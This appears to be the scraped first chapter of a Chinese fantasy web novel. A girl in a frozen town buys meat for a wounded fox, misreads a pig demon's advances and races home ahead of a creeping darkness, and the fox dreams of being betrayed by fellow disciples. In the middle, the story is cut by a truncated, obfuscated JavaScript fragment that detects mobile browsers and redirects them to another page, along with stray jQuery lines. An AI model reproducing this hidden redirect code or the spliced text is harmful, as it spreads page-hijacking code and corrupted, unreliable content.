1. 与狐初相识

作品:《狐狸精控诉我始乱终弃

    自从十年前那场仙魔大战之后,小河镇就再也没有见过春天。


    街上没有人影,狂风夹着雪粒子呼啸,雪落在地上结成厚厚的一层,一脚一个坑,声音沙沙响,像是落叶巷子胡大叔的酥饼,咬起来也是这样的感觉,脆到掉渣。


    想到酥饼,阿瑶咽了咽唾沫。


    好饿。


    她很多天没有吃过热乎东西了。


    她伸手进钱袋,抓出一把铜板放到另一只手上,仔仔细细来来回回点了几遍,又依依不舍地放回去一半。


    她手里现在只有近四十文钱,要买个热腾腾的酥饼也不是不够,可是大夫说了,她捡的那只狐狸伤得重,需要吃些好的补补,不然可能还是撑不下去。


    所以,阿瑶只能放弃酥饼,去买些肉。


    阿瑶很想留住小狐狸。


    她捡到他的时候,狐狸满身都是泥土和干涸的血迹,但他很漂亮,那双眼睛半阖着,只透进一点点光却像琥珀一样,阿瑶从来没有见过那么漂亮的生物。


    小河镇的夜晚总是又冷又长,天黑之后“诡”会在山林里咆哮,若是能留下狐狸,她就可以在寒夜里抱着他,再也不用时时担心自己冻死在永冬,而且·····能有一个活物陪着她,也不至于孤单。


    阿瑶一番衡量,觉得当务之急是把狐狸救活,然后让它愿意留下来。


    所以吃不到酥饼也没什么。


    于是阿瑶压下心底那点可惜,扎紧钱袋子继续往集市走。


    阿瑶是靠给永兴酒楼烧火帮工谋生的,午间忙完才得以告假,这会子集市上的摊贩零零散散,早已过了最热闹的时候。


    西街葛叔这个点早关了肉铺子回家去,现在这个时辰也只有朱大哥会推个板车卖猪肉,阿瑶寻人打听完便一路追着踪迹去了。


    朱大哥的肉没有葛叔家的好,但他推个板车不用交赁金,肉也就卖得便宜些。


    阿瑶蹲在板车跟前仔仔细细掂着排骨和五花肉思量,正算着划算与否,身边突然挤过来一坨阴影,油腻腻的味道穿脑而来。


    “阿瑶妹妹,五花和排骨都是五十文一斤,或者一个灵石一斤也成。”朱大哥伸出手去拿肉,似乎是不小心,手碰到了阿瑶的手背。


    霎时间,那腻腻的油脂就结在了阿瑶手上,还混着浓浓的汗味和猪骚味。


    阿瑶像木偶一样转头过去,直直看着猪妖。


    她的眼睛很大,平日总是懒洋洋的,可睁大眼睛的时候能在眼睛里聚齐好几个光点。有这样一双眼睛,即使阿瑶一贯是张冷脸,旁人看来也平白多出三分灵动。


    “抱歉抱歉…嘿嘿…”朱大哥笑得纯朴,阿瑶就又低下头去,没有看见那一闪而过的精光和盘算。


    趁着阿瑶挑肉的空档,猪妖紧盯着她看,哼哧哼哧喘起了粗气,一张脸一下子维持不住人形,化成了猪脸,两只三角眼睁不开似的吊着,好不半天才控制住表情。


    “妹啊,哥哥上次跟你说的事情你考虑咋样了啊?”


    阿瑶皱眉,站起来往后退开一步歪着脑袋回想,她怎么不记得自己有跟这猪妖说过什么?


    “诶妹啊,是这么回事儿,你看你都在哥哥这儿买了这么多猪肉了,哥哥跟你也熟了,哥哥总得给你个奖励吧?”猪妖搓搓手,单只眼睛冲阿瑶眨了一下,看起来像抽了筋。


    “什么奖励?”阿瑶刚狠狠心拿出一半的钱买了三两肉,一听见奖励来了兴趣,也不嫌弃了猪妖异味了,直直往前走回来半步,对上猪妖的眯眯眼。


    猪妖眨眼眨得更起劲:“妹啊,你看哥哥把自己奖励给你如何啊?”


    把自己奖励给她?


    这妖神情古怪,阿瑶不解,只一味在脑中疯狂计算。


    猪下水便宜用不着多少文钱就能买一斤,而排骨五花都贵,要五十文,合算下来,平均一整只猪的肉大概是三十文一斤。


    阿瑶上下打量了一下朱大哥,他是半妖,也是能化原型的。人形都如此的肥厚硕大,想必化作原型至少能过三百斤…


    三百斤,就是九两多的银子,将近十两!她赚大了。


    她要是能把他宰了拖回家,莫要说这个今年,便是吃上个几年都不成问题,这冰天雪地的,有了稳定的食物来源,她何愁留不住那只小狐狸?


    买猪肉竟还能送整只猪!阿瑶心下感慨,这年头虽然世道乱,却还是有好心妖的。


    猪妖的姿势正摆酸了有些累,定睛就看见眼前少女看他的眼神越来越炽热,越来越激动,仿佛透过他的脸看见了什么天大的好事,不由得心中一喜,连剁肉的手都抖了,多给了阿瑶一小块。


    “你、你你这是答应我了!?”


    “嗯。”


    阿瑶看着自己板上钉钉的预备粮给自己切肉,心中欣喜,难得面上有了表情,开开心心回家去了。


    她走远,猪妖仍在望着她的背影痴迷。


    一旁卖菜的牛大哥凑过来看看猪妖,又看看远去的阿瑶,疑惑道:“老朱,你不觉得她很奇怪吗?”


    猪妖反问:“哪里怪,啧,你别是妒忌我吧?”


    牛妖一脸你有病的表情,猪妖舔了舔嘴,望着阿瑶垂涎三尺。


    在他眼里,这女的虽然人总呆呆的,但长得确实不错,身子骨也健壮,他将才瞧了眼她的屁股和肚子,应该生个十几个不成问题。


    十几个…不少钱了呢…


    “喂,你是真想娶个人类?”牛妖鄙夷,“我可提醒你,世道乱着,人类可活不久。”


    猪妖咂吧嘴,还在回味着阿瑶凝脂一般的皮肤。


    啧,真绝色。


    “哎呦牛哥,嫉妒呢?”猪妖眯着眼舔了一圈牙,呸掉了嘴里的菜渣:“嘿,正经妖谁娶人族啊,玩过嘛好了,我老朱家可是纯正的金华两头乌血脉呢,可不能玷污了血统。”


    得,不知道几百年前从哪家猪栏里跑出来的。


    牛大哥翻了个白眼,又看看阿瑶的背影,默默推着小板车走远了一点。


    只是……牛大哥看着阿瑶的背影,总觉得哪里有点不对劲。


    是了,小河镇曾是两族大战的古战场,终年极寒,她一个人类少女,却穿着单薄的衣衫赤着脚……等等,她住在这里多久了?


    他似乎,十年都没见她变过样。


    猪妖还在两眼发直地盯着那个人类少女的背影看,哼哧个不停,牛大哥的思绪被打断,嫌弃地推走自己的板车决定回家。


    “诡”就要来了,他可没空陪着猪精发猪瘟。


    牛妖走得匆忙,也就没有看见猪妖诡异的笑容和他手里的黑紫色咒印。


    ——————


    小河镇的白日很短,刚过申时,远处的地平线便出现一道黑影。镇上的人们都叫它“诡”。


    镇上人说,这里的昼夜交替是由“诡”控制的,这道蔓延的阴影每日都会在申时左右出现远处,然后化作遮天蔽日的黑雾逐渐席卷而来,将小河镇的光明吞入腹中。


    而“诡”影里,有妖怪。


    阿瑶孤身一人,造不起石屋子,只得在后山上捡了间竹屋住,每日上下山去镇里需要一段不短的路程。


    天色越来越黑,阿瑶的脚步越来越快,她必须在天彻底黑沉之前赶回家。


    突然,她的手背上一阵针扎一样的刺痛,痛感持续了好一会才逐渐消散。


    幸好这点痛还能忍受,阿瑶脚步不停,脑中分神思索着原因。


    难不成是被猪妖碰了起疹子?


    但她实在着急回家,也就没有太在意去细看,因此也就错过了手背上一闪而过的咒印暗芒。


    就是这几瞬分神,让她脚步慢了一些,“诡”突然赶了上来,几乎贴着阿瑶的的后背,她都能感觉到“诡”的暗影里有冰冷黏腻的触手在试图抓她的头发,像低声的呜咽,却又那么急切那么渴望。


    她拼尽全力跑了起来,震落了林间的雪,雪抖进衣领,冷地她直打寒颤。


    快到了,快到了…阴影追上了她的后脚跟,阿瑶扑进自己的小竹屋,飞快阖上门。


    唰———


    终于,在黑暗吞没竹屋的那一刻,她点亮了屋内的蜡烛。


    阿瑶转头,最后一丝光在窗脚消失,霎时间百鬼尖啸,浓雾四起,什么也看不见了。


    她瘫倒在地上缓了好久,才僵硬地将自己冻得咯咯作响的手放到蜡烛边上,将指尖烤暖。


    要是一回家就能歇息,再有个软的暖和的东西能够抱一抱就好了……


    又过了好一会,阿瑶才勉强缓过劲,认命地挣扎起身去找狐狸。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957073|193177||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >狐狸在她的卧房里,还在睡着。


    狐狸脑袋毛茸茸的,团成一团,看起来软软乎乎的,细听还有细微的呼吸声。阿瑶早上出门前给它擦洗过,这会它身上的血渍清理干净,毛也干了,像一团蓬松的雪球。


    见它还在早上睡的那个位置,阿瑶才放下心来,长舒一口气。


    竹屋里冷得可怕,阿瑶冻得动作僵硬,她今日没能去山里捡柴火,家中剩的柴火不多了。


    她也顾不得自己被融雪打湿的头发,赶紧用剩下的柴生火烧水,这点柴火,也不知道能不能烧出一顿像样的吃的喂饱狐狸。


    阿瑶一头钻进了厨房,卧房里的小狐狸却睡得很不安稳,眼皮不住地轻颤。


    它的爪子不自觉地挠着床板,鼻子抽着,发出细弱的呜咽声。


    “师弟啊,妖就是妖,人就是人,别以为你穿着人的衣服,练着人的功法就真的能成人了…”


    “师兄,你瞧他还给自己戴朵花呢哈哈哈哈哈,这小畜生发/情咯!”


    悬崖之上,是三男一女,几人都约摸十六七岁的模样,穿着绣淡绿卷草纹的白色道袍,半束着发髻。


    一个长相硬朗些的弟子正掐着这个有些过于秀气的少年,还有一个又矮又胖的弟子正推搡着他,那个少女在后面惶恐地看着,想劝又不敢出声。


    “苏怜青,我看刚刚那恶妖跟你是一伙的吧,不然它怎么见了你就跑?”


    “我…没有…咳…”


    怜青刚勉强从喉咙里凑出几个字,脖子上掐着的手就骤然加大了力气,他的脸因为憋气逐渐变红,眼角都沁出了泪水。他的手脚逐渐发软,本就受伤的身体更加虚弱,都没有力气抠开自己颈间的桎梏。


    他不明白,明明半个时辰之前,是他化出原型救了他们,为何事情却发展到现在这样。


    【不要……】


    【刚才是我救了你们啊,为什么…为什么要这么对我…】


    “师兄跟一个畜生废话什么,不如现在就杀了他。”矮胖少年道。


    “两位师兄不可!刚刚是苏师弟救了我们啊,你们不能…不能这样吧…”眼看着怜青被一步步推向峭壁,一旁站着的少女终于忍不住出言相劝。


    矮胖弟子的目光在怜青和师妹之间流转两圈,目露凶光:“师妹,你可别被这狐妖迷惑了,妖而已,人人得而诛之。”


    他早看怜青不爽了,这小白脸贯爱捯饬,灵力充沛又有天赋,就算术法不精也惹得漂亮师妹们芳心暗许,还让长老、仙尊们高看一眼。


    原来是妖啊,那怪不得。


    “师弟,宗门并无明文规定不许妖修入宗……”抓着怜青的那人犹豫了,他也是看不惯怜青的,但平常顶多就是欺负他,真杀了自己的同门,万一败露罪名可不小,他身后的家族都会因此蒙羞。


    见他犹豫,矮胖的那个人凑到高壮弟子耳边低声道:“师兄,不杀了他,难不成真让他去给净尘仙尊做关门弟子吗?大家可是都传仙尊在你们二人之间抉择啊!”


    怜青感到掐住自己脖子手有了松动,正要握住颈上挂的玉牌呼救,就见眼前的师兄突然眼中寒芒一闪,转瞬他的身体就极速失重坠落。


    耳边是锐利的风,像千百根尖锥刺破了皮肤一样痛。


    砰———


    他被重重拍在水面,背部的疼痛又钝又麻,他沉了下去,呼吸都被凝滞———


    呼吸......


    等等,他好像能呼吸?但是,水里为什么有烟!


    咳咳,咳咳咳咳咳……


    怜青撕心裂肺咳嗽起来,挣扎着睁开了狐狸眼睛。


    满屋子的浓烟,尘灰的颗粒逼出生理性的泪水,眼前的女子披散一头湿漉漉的及腰黑发,苍白的脸上糊着一缕缕凌乱的发丝,她的红衣像血一样红,她的眼睛比青丘的夜还要黑。


    她一步一步向他走来,她左手抓着一块生肉,血水顺着胳膊留下,右手举着一把菜刀。怜青看到她漆黑的眼瞳照出自己弱小无助的身影。


    她笑了,像一具木偶突然有了表情。


    “你…醒…了啊…”


    “好吃了…”


    她的脸凑近,刀上的腥气扑面而来,狐狸连滚带爬。


    救、救救、救命啊啊啊啊啊啊啊啊啊!!!